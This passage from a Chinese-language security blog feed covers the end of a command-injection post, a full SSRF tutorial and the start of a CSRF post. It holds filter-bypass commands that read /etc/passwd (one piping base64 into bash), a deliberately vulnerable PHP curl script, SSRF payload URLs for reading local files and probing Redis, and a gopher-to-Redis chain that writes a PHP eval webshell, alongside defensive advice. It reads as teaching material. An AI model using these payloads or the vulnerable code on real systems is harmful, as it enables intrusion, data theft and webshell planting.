</div></div><div><div><div>8</div></div><div><span># Windows</span></div></div><div><div><div>9</div></div><div><span>&amp;  </span><span># 两边都执行</span></div></div><div><div><div>10</div></div><div><span>&amp;&amp; </span><span># 前面成功才执行</span></div></div><div><div><div>11</div></div><div><span>|| </span><span># 前面失败才执行</span></div></div><div><div><div>12</div></div><div><span>|  </span><span># 管道</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>绕过技巧<a href="#绕过技巧"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 空格绕过</span></div></div><div><div><div>2</div></div><div><span>cat</span><span>&lt;/etc/passwd</span></div></div><div><div><div>3</div></div><div><span>cat$IFS/etc/passwd</span></div></div><div><div><div>4</div></div><div><span>{cat,/etc/passwd}</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 黑名单绕过</span></div></div><div><div><div>7</div></div><div><span>ca</span><span>""</span><span>t</span><span> </span><span>/etc/passwd</span></div></div><div><div><div>8</div></div><div><span>ca\t</span><span> </span><span>/etc/passwd</span></div></div><div><div><div>9</div></div><div><span>/???/c?t</span><span> </span><span>/???/p??s??</span></div></div><div><div><div>10</div></div><div><span>a</span><span>=</span><span>ca</span><span>;</span><span>b</span><span>=</span><span>t</span><span>; </span><span>$a$b</span><span> </span><span>/etc/passwd</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># Base64 绕过</span></div></div><div><div><div>13</div></div><div><span>echo</span><span> </span><span>"Y2F0IC9ldGMvcGFzc3dk"</span><span> | </span><span>base64</span><span> </span><span>-d</span><span> | </span><span>bash</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/ssrf/</id>
      <title type="text">SSRF 服务端请求伪造</title>
      <published>2026-09-16T14:46:00.000Z</published>
      <updated>2026-09-16T14:46:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/ssrf/"/>
      <summary type="text">SSRF 的核心概念、内网探测与协议利用方式，以及常见防御思路。</summary>
      <content type="html"><![CDATA[<section><h2>一、SSRF 概述<a href="#一ssrf-概述"><span>#</span></a></h2><section><h3>1.1 什么是 SSRF？<a href="#11-什么是-ssrf"><span>#</span></a></h3><p><strong>SSRF</strong>（Server-Side Request Forgery，<strong>服务器端请求伪造</strong>）是一种由攻击者构造请求，由<strong>服务端发起请求</strong>的安全漏洞。</p></section><section><h3>1.2 核心概念<a href="#12-核心概念"><span>#</span></a></h3>

<table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td>攻击方式</td><td>攻击者构造请求，由服务器代为发送</td></tr><tr><td>攻击目标</td><td>外网无法直接访问的<strong>内部系统</strong></td></tr><tr><td>核心原因</td><td>服务器对目标地址<strong>未做严格过滤与限制</strong></td></tr></tbody></table></section><section><h3>1.3 数据流<a href="#13-数据流"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>攻击者 → 构造恶意URL → 服务器接收请求 → 服务器向目标地址发起请求 → 返回响应给攻击者</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 正常功能：获取远程图片</span></div></div><div><div><div>2</div></div><div><span>http://www.test01.com/file.php?url</span><span>=http://file.com/image.jpg</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># SSRF攻击：读取本地文件</span></div></div><div><div><div>5</div></div><div><span>http://www.test01.com/file.php?url</span><span>=file:///etc/passwd</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># SSRF攻击：探测内网</span></div></div><div><div><div>8</div></div><div><span>http://www.test01.com/file.php?url</span><span>=http://192.168.1.1/admin</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>1.4 通俗理解<a href="#14-通俗理解"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>A网站 = 外网可访问的网站</span></div></div><div><div><div>2</div></div><div><span>B网站 = 内部OA系统（外网无法访问）</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>普通用户：只能访问A，不能访问B</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>SSRF利用：通过A网站作为跳板 → 访问B网站 → 攻击内网系统</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>二、SSRF 原理<a href="#二ssrf-原理"><span>#</span></a></h2><section><h3>2.1 形成原因<a href="#21-形成原因"><span>#</span></a></h3><ol>
<li>服务端提供了<strong>从其他服务器获取数据</strong>的功能（如加载图片、获取网页内容）</li>
<li>服务端对用户提供的 URL <strong>没有做严格的过滤与限制</strong></li>
<li>攻击者可以传入任意地址，让服务端发起请求并返回结果</li>
</ol></section><section><h3>2.2 漏洞产生点<a href="#22-漏洞产生点"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://www.test.com/xxx.php?image=/1.png</span></div></div><div><div><div>2</div></div><div><span><span>                                   </span></span><span>↑</span></div></div><div><div><div>3</div></div><div><span><span>                            </span></span><span>此处未做过滤</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>攻击者可以修改 <code>image</code> 参数为内网地址：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://www.test.com/xxx.php?image=http://192.168.1.1/admin</span></div></div><div><div><div>2</div></div><div><span>http://www.test.com/xxx.php?image=file:///etc/passwd</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.3 常见攻击方式<a href="#23-常见攻击方式"><span>#</span></a></h3>

<table><thead><tr><th>攻击方式</th><th>说明</th></tr></thead><tbody><tr><td><strong>端口扫描</strong></td><td>对外网、内网、本地进行端口扫描，获取服务 Banner</td></tr><tr><td><strong>攻击内网应用</strong></td><td>攻击运行在内网或本地的应用程序</td></tr><tr><td><strong>内网资产识别</strong></td><td>对内网 Web 应用进行指纹识别</td></tr><tr><td><strong>攻击内网 Web 应用</strong></td><td>利用 HTTP GET 请求的攻击（如 Struts2、SQL 注入）</td></tr><tr><td><strong>读取本地文件</strong></td><td>利用 file:// 协议读取敏感文件</td></tr></tbody></table><hr /></section></section>
<section><h2>三、SSRF 涉及的协议<a href="#三ssrf-涉及的协议"><span>#</span></a></h2><section><h3>3.1 主要协议<a href="#31-主要协议"><span>#</span></a></h3>

<table><thead><tr><th>协议</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><code>http://</code></td><td>HTTP 请求</td><td>探测内网 Web 服务</td></tr><tr><td><code>https://</code></td><td>HTTPS 请求</td><td>同上</td></tr><tr><td><code>file://</code></td><td>读取本地文件</td><td><code>file:///etc/passwd</code></td></tr><tr><td><code>dict://</code></td><td>字典协议，探测端口/服务</td><td><code>dict://127.0.0.1:6379/info</code></td></tr><tr><td><code>gopher://</code></td><td>功能最强的协议，可构造任意 TCP 数据包</td><td>攻击 Redis、MySQL 等</td></tr></tbody></table></section><section><h3>3.2 curl 协议支持<a href="#32-curl-协议支持"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># curl 支持的协议</span></div></div><div><div><div>2</div></div><div><span>dict,</span><span> </span><span>file,</span><span> </span><span>ftp,</span><span> </span><span>ftps,</span><span> </span><span>gopher,</span><span> </span><span>http,</span><span> </span><span>https,</span><span> </span><span>imap,</span><span> </span><span>imaps,</span><span> </span><span>ldap,</span><span> </span><span>pop3,</span><span> </span><span>pop3s,</span><span> </span><span>rtsp,</span><span> </span><span>scp,</span><span> </span><span>sftp,</span><span> </span><span>smtp,</span><span> </span><span>smtps,</span><span> </span><span>telnet</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 curl 常用命令<a href="#33-curl-常用命令"><span>#</span></a></h3><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 发送 HTTP 请求</span></div></div><div><div><div>2</div></div><div><span>curl</span><span> </span><span>http://www.baidu.com</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># -v：显示详细操作信息（含请求头和响应头）</span></div></div><div><div><div>5</div></div><div><span>curl</span><span> </span><span>-v</span><span> </span><span>http://www.baidu.com</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># -k：忽略 HTTPS 证书验证</span></div></div><div><div><div>8</div></div><div><span>curl</span><span> </span><span>-k</span><span> </span><span>https://self-signed.badssl.com</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># -O：下载文件</span></div></div><div><div><div>11</div></div><div><span>curl</span><span> </span><span>-O</span><span> </span><span>http://example.com/file.zip</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># file:// 协议读文件</span></div></div><div><div><div>14</div></div><div><span>curl</span><span> </span><span>-v</span><span> </span><span>file:///etc/passwd</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># dict:// 协议探测</span></div></div><div><div><div>17</div></div><div><span>curl</span><span> </span><span>-v</span><span> </span><span>"dict://127.0.0.1:6379/info"</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span># gopher:// 协议（功能最强）</span></div></div><div><div><div>20</div></div><div><span>curl</span><span> </span><span>-v</span><span> </span><span>"gopher://127.0.0.1:6379/_info"</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><hr /></section></section>
<section><h2>四、内网 IP 范围<a href="#四内网-ip-范围"><span>#</span></a></h2>

<table><thead><tr><th>类别</th><th>IP 范围</th></tr></thead><tbody><tr><td><strong>A类</strong></td><td>10.0.0.0 ~ 10.255.255.255</td></tr><tr><td><strong>B类</strong></td><td>172.16.0.0 ~ 172.31.255.255</td></tr><tr><td><strong>C类</strong></td><td>192.168.0.0 ~ 192.168.255.255</td></tr></tbody></table>

<table><thead><tr><th>特殊地址</th><th>说明</th></tr></thead><tbody><tr><td>192.168.x.0</td><td>网络地址，不可用</td></tr><tr><td>192.168.x.1</td><td>第一个可用 IP，通常是网关</td></tr><tr><td>192.168.x.255</td><td>广播地址</td></tr><tr><td>127.0.0.1</td><td>本机地址（localhost）</td></tr></tbody></table><hr /></section>
<section><h2>五、SSRF 利用步骤<a href="#五ssrf-利用步骤"><span>#</span></a></h2><section><h3>5.1 总体流程<a href="#51-总体流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 利用 http:// 协议扫描内网 IP 和端口</span></div></div><div><div><div>2</div></div><div><span>2. 利用 file:// 协议读取本地敏感文件</span></div></div><div><div><div>3</div></div><div><span>3. 利用 dict/gopher 协议攻击探测到的内网服务（如 Redis）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.2 常见导致 SSRF 的 PHP 函数<a href="#52-常见导致-ssrf-的-php-函数"><span>#</span></a></h3>

<table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td><code>file_get_contents()</code></td><td>读取文件内容，支持 URL</td></tr><tr><td><code>fsockopen()</code></td><td>打开网络 Socket 连接</td></tr><tr><td><code>curl_exec()</code></td><td>执行 cURL 请求（<strong>最常用、功能最强</strong>）</td></tr></tbody></table></section><section><h3>5.3 漏洞代码示例<a href="#53-漏洞代码示例"><span>#</span></a></h3><div><figure><figcaption><span>ssrf.php</span></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>$url</span><span><span> </span><span>=</span><span> </span></span><span>isset</span><span>(</span><span>$_GET</span><span>[</span><span>'url'</span><span><span>]) </span><span>?</span><span> </span></span><span>$_GET</span><span>[</span><span>'url'</span><span><span>] </span><span>:</span><span> </span></span><span>""</span><span>;</span></div></div><div><div><div>3</div></div><div><span>if</span><span> (</span><span>$url</span><span>) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>$ch</span><span><span> </span><span>=</span><span> </span></span><span>curl_init</span><span>();</span></div></div><div><div><div>5</div></div><div><span>    </span><span>curl_setopt</span><span>(</span><span>$ch</span><span><span>,</span><span> </span></span><span>CURLOPT_URL</span><span><span>,</span><span> </span></span><span>$url</span><span>);</span></div></div><div><div><div>6</div></div><div><span>    </span><span>curl_setopt</span><span>(</span><span>$ch</span><span><span>,</span><span> </span></span><span>CURLOPT_HEADER</span><span><span>,</span><span> </span></span><span>0</span><span>);</span></div></div><div><div><div>7</div></div><div><span>    </span><span>$result</span><span><span> </span><span>=</span><span> </span></span><span>curl_exec</span><span>(</span><span>$ch</span><span>);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>curl_close</span><span>(</span><span>$ch</span><span>);</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>请求 HTTPS 时绕过证书验证：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl_setopt</span><span>(</span><span>$ch</span><span><span>,</span><span> </span></span><span>CURLOPT_SSL_VERIFYPEER</span><span><span>,</span><span> </span></span><span>FALSE</span><span>);</span></div></div><div><div><div>2</div></div><div><span>curl_setopt</span><span>(</span><span>$ch</span><span><span>,</span><span> </span></span><span>CURLOPT_SSL_VERIFYHOST</span><span><span>,</span><span> </span></span><span>FALSE</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、利用方式详解<a href="#六利用方式详解"><span>#</span></a></h2><section><h3>6.1 利用 http:// 探测端口<a href="#61-利用-http-探测端口"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 探测本地 3306 端口</span></div></div><div><div><div>2</div></div><div><span>http://localhost/ssrf/ssrf.php?url=http://127.0.0.1:3306</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 有服务 → 有响应（可判断端口开放）</span></div></div><div><div><div>5</div></div><div><span># 无服务 → 无响应或超时</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以配合 <strong>Burp Suite</strong> 对内网进行批量端口扫描。</p></section><section><h3>6.2 利用 dict:// 探测服务<a href="#62-利用-dict-探测服务"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># dict 协议可以探测目标端口的指纹信息</span></div></div><div><div><div>2</div></div><div><span>http://localhost/ssrf/ssrf.php?url</span><span>=dict://127.0.0.1:6379</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 如果 Redis 开放，会返回类似：</span></div></div><div><div><div>5</div></div><div><span># +OK</span></div></div><div><div><div>6</div></div><div><span># Unknown subcommand or wrong number of arguments for 'libcurl'</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.3 利用 file:// 读取敏感文件<a href="#63-利用-file-读取敏感文件"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># Windows</span></div></div><div><div><div>2</div></div><div><span>http://localhost/ssrf/ssrf.php?url=file://C:/windows/win.ini</span></div></div><div><div><div>3</div></div><div><span>http://localhost/ssrf/ssrf.php?url=file://C:/phpstudy/www/config.php</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># Linux</span></div></div><div><div><div>6</div></div><div><span>http://localhost/ssrf/ssrf.php?url=file:///etc/passwd</span></div></div><div><div><div>7</div></div><div><span>http://localhost/ssrf/ssrf.php?url=file:///etc/hosts</span></div></div><div><div><div>8</div></div><div><span>http://localhost/ssrf/ssrf.php?url=file:///proc/self/environ</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.4 利用 gopher:// 攻击 Redis<a href="#64-利用-gopher-攻击-redis"><span>#</span></a></h3><p><strong>gopher 协议特点：</strong></p><p>gopher 是 SSRF 中<strong>功能最强大</strong>的协议，可以构造任意 TCP 数据包，攻击内网的 FTP、Telnet、Redis、Memcache 等。</p><section><h4>gopher 协议格式<a href="#gopher-协议格式"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>gopher://&lt;host&gt;:&lt;port&gt;/_后接TCP数据流</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>默认端口：70</li>
<li>GET 请求直接构造</li>
<li>POST 请求需 URL 编码，换行用 <code>%0d%0a</code></li>
</ul></section><section><h4>gopher 发送 GET 请求<a href="#gopher-发送-get-请求"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 原始请求包</span></div></div><div><div><div>2</div></div><div><span>GET</span><span> </span><span>/get.php?name=zhangsan</span><span> </span><span>HTTP/1.1</span></div></div><div><div><div>3</div></div><div><span>Host:</span><span> </span><span>192.168.13.151</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># URL 编码后</span></div></div><div><div><div>6</div></div><div><span>curl</span><span> </span><span>gopher://192.168.13.151:80/_GET%20%2Fget.php%3Fname%3Dzhangsan%20HTTP%2F1.1%0D%0AHost%3A%20192.168.13.151%0D%0A</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>gopher 发送 POST 请求<a href="#gopher-发送-post-请求"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 原始 POST 数据包</span></div></div><div><div><div>2</div></div><div><span>POST</span><span> </span><span>/post.php</span><span> </span><span>HTTP/1.1</span></div></div><div><div><div>3</div></div><div><span>host:192.168.13.151</span></div></div><div><div><div>4</div></div><div><span>Content-Type:application/x-www-form-urlencoded</span></div></div><div><div><div>5</div></div><div><span>Content-Length:9</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>name</span><span>=</span><span>lisi</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># URL 编码后</span></div></div><div><div><div>10</div></div><div><span>curl</span><span> </span><span>gopher://192.168.13.151:80/_POST%20%2Fpost.php%20HTTP%2F1.1%0D%0Ahost%3A192.168.13.151%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A9%0D%0A%0D%0Aname%3Dlisi%0D%0A</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>6.5 gopher + Redis 写 WebShell<a href="#65-gopher--redis-写-webshell"><span>#</span></a></h3><section><h4>准备工作<a href="#准备工作"><span>#</span></a></h4><p><strong>1. 安装 Redis</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://download.redis.io/releases/redis-5.0.5.tar.gz</span></div></div><div><div><div>2</div></div><div><span>tar</span><span> </span><span>xzf</span><span> </span><span>redis-5.0.5.tar.gz</span></div></div><div><div><div>3</div></div><div><span>cd</span><span> </span><span>redis-5.0.5</span></div></div><div><div><div>4</div></div><div><span>apt</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>make</span><span> </span><span>gcc</span></div></div><div><div><div>5</div></div><div><span>make</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>2. 修改 Redis 配置文件</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>protected-mode</span><span> </span><span>no</span><span>   </span><span># 关闭保护模式</span></div></div><div><div><div>2</div></div><div><span>#bind 127.0.0.1    # 注释掉，允许外部连接</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>3. 启动 Redis</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>src/redis-server</span><span> </span><span>redis.conf</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>生成 Redis 攻击 Payload<a href="#生成-redis-攻击-payload"><span>#</span></a></h4><p><strong>1. 编写 redis.cmd 文件</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>flushall</span></div></div><div><div><div>2</div></div><div><span>config set dir /var/www/html</span></div></div><div><div><div>3</div></div><div><span>config set dbfilename shell.php</span></div></div><div><div><div>4</div></div><div><span>set webshell '&lt;?php eval($_REQUEST[6]);?&gt;'</span></div></div><div><div><div>5</div></div><div><span>save</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>2. 使用 Python 脚本生成 gopher 数据包</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python</span><span> </span><span>redis-over-gopher.py</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>输出类似：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>3. 再次 URL 编码后发送</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/ssrf.php?url=gopher://127.0.0.1:6379/_%25%32%61...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>执行后在目标服务器生成 <code>/var/www/html/shell.php</code> 木马文件。</p><hr /></section></section></section>
<section><h2>七、SSRF 防御<a href="#七ssrf-防御"><span>#</span></a></h2><section><h3>7.1 防御措施<a href="#71-防御措施"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>1. 过滤返回信息</strong></td><td>验证远程服务器响应是否符合预期格式</td></tr><tr><td><strong>2. 统一错误信息</strong></td><td>避免根据错误信息判断端口状态</td></tr><tr><td><strong>3. 限制端口</strong></td><td>只允许访问常见 HTTP 端口（80、443、8080、8090）</td></tr><tr><td><strong>4. 过滤内网 IP</strong></td><td>禁止访问私有 IP 地址段</td></tr><tr><td><strong>5. 禁用危险协议</strong></td><td>仅允许 http/https，禁用 file://、gopher://、dict://</td></tr></tbody></table></section><section><h3>7.2 内网 IP 过滤示例<a href="#72-内网-ip-过滤示例"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 禁止访问内网 IP</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>isInternalIP</span><span>(</span><span>$ip</span><span>) {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>$internal</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span></div></div><div><div><div>4</div></div><div><span>        </span><span>'10.0.0.0/8'</span><span>,</span></div></div><div><div><div>5</div></div><div><span>        </span><span>'172.16.0.0/12'</span><span>,</span></div></div><div><div><div>6</div></div><div><span>        </span><span>'192.168.0.0/16'</span><span>,</span></div></div><div><div><div>7</div></div><div><span>        </span><span>'127.0.0.0/8'</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>9</div></div><div><span>    </span><span>foreach</span><span> (</span><span>$internal</span><span> as </span><span>$range</span><span>) {</span></div></div><div><div><div>10</div></div><div><span>        </span><span>if</span><span> (</span><span>ip_in_range</span><span>(</span><span>$ip</span><span><span>,</span><span> </span></span><span>$range</span><span>)) {</span></div></div><div><div><div>11</div></div><div><span>            </span><span>return</span><span> </span><span>true</span><span>;</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span> </span><span>false</span><span>;</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>7.3 白名单方案<a href="#73-白名单方案"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 仅允许访问白名单中的域名</span></div></div><div><div><div>2</div></div><div><span>$allowlist</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span></div></div><div><div><div>3</div></div><div><span>    </span><span>'img.example.com'</span><span>,</span></div></div><div><div><div>4</div></div><div><span>    </span><span>'api.example.com'</span></div></div><div><div><div>5</div></div><div><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>$url</span><span><span> </span><span>=</span><span> </span></span><span>parse_url</span><span>(</span><span>$_GET</span><span>[</span><span>'url'</span><span>]);</span></div></div><div><div><div>8</div></div><div><span>$host</span><span><span> </span><span>=</span><span> </span></span><span>$url</span><span>[</span><span>'host'</span><span>];</span></div></div><div><div><div>9</div></div><div><span>if</span><span><span> (</span><span>!</span></span><span>in_array</span><span>(</span><span>$host</span><span><span>,</span><span> </span></span><span>$allowlist</span><span>)) {</span></div></div><div><div><div>10</div></div><div><span>    </span><span>die</span><span>(</span><span>'Invalid URL'</span><span>);</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>利用方式<a href="#利用方式"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 端口探测</span></div></div><div><div><div>2</div></div><div><span>http://target.com/ssrf.php?url</span><span>=http://192.168.1.1:22</span></div></div><div><div><div>3</div></div><div><span>http://target.com/ssrf.php?url</span><span>=http://192.168.1.1:80</span></div></div><div><div><div>4</div></div><div><span>http://target.com/ssrf.php?url</span><span>=http://192.168.1.1:6379</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 读取文件</span></div></div><div><div><div>7</div></div><div><span>http://target.com/ssrf.php?url</span><span>=file:///etc/passwd</span></div></div><div><div><div>8</div></div><div><span>http://target.com/ssrf.php?url</span><span>=file://C:/windows/win.ini</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 服务探测 (dict)</span></div></div><div><div><div>11</div></div><div><span>http://target.com/ssrf.php?url</span><span>=dict://127.0.0.1:6379/info</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># gopher + Redis 写 shell</span></div></div><div><div><div>14</div></div><div><span>http://target.com/ssrf.php?url</span><span>=gopher://127.0.0.1:6379/_%2a.</span><span>..</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>内网 IP 段<a href="#内网-ip-段"><span>#</span></a></h3>

<table><thead><tr><th>类别</th><th>范围</th></tr></thead><tbody><tr><td>A类</td><td>10.0.0.0 - 10.255.255.255</td></tr><tr><td>B类</td><td>172.16.0.0 - 172.31.255.255</td></tr><tr><td>C类</td><td>192.168.0.0 - 192.168.255.255</td></tr><tr><td>本地</td><td>127.0.0.1</td></tr></tbody></table></section><section><h3>防御<a href="#防御"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 白名单限制 URL</span></div></div><div><div><div>2</div></div><div><span>2. 禁用 file://、gopher://、dict:// 协议</span></div></div><div><div><div>3</div></div><div><span>3. 过滤内网 IP</span></div></div><div><div><div>4</div></div><div><span>4. 统一错误信息</span></div></div><div><div><div>5</div></div><div><span>5. 限制端口</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/csrf/</id>
      <title type="text">CSRF 跨站请求伪造</title>
      <published>2026-09-15T14:46:00.000Z</published>
      <updated>2026-09-15T14:46:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/csrf/"/>
      <summary type="text">CSRF 的原理、利用步骤与绕过姿势，附与 XSS 的异同对比和修复思路。</summary>
      <content type="html"><![CDATA[<section><h2>一、什么是 CSRF？<a href="#一什么是-csrf"><span>#</span></a></h2><p><strong>CSRF</strong>（Cross Site Request Forgery，<strong>跨站请求伪造</strong>），属于<strong>前端漏洞</strong>，用于攻击前端用户。</p><p><strong>核心概念：</strong></p><blockquote><p>在受害者<strong>已经登录网站</strong>且<strong>不知情</strong>的情况下，攻击者利用受害者已有的凭证，向服务器发起<strong>预期外的请求</strong>。</p></blockquote>

<table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td>攻击目标</td><td>前端用户的<strong>浏览器</strong></td></tr><tr><td>攻击架构</td><td>B/S 架构（Browser ↔ Server）</td></tr><tr><td>漏洞类型</td><td>前端漏洞</td></tr></tbody></table><p><strong>通俗理解：</strong> 攻击者盗用了你的身份，以你的名义发送恶意请求。</p><hr /></section>
<section><h2>二、CSRF 的危害<a href="#二csrf-的危害"><span>#</span></a></h2><p>在条件满足的情况下：</p><p><strong>技术层面：</strong></p><ul>
<li>伪造恶意请求（修改密码、转账、删除数据等）</li>
</ul><p><strong>社会影响层面：</strong></p><ul>
<li>电信诈骗</li>
<li>非法更改网站资源</li>
<li>转账</li>
<li>用户增删改查</li>
<li>密码修改</li>
<li>冒用身份进行非法操作</li>
</ul><hr /></section>
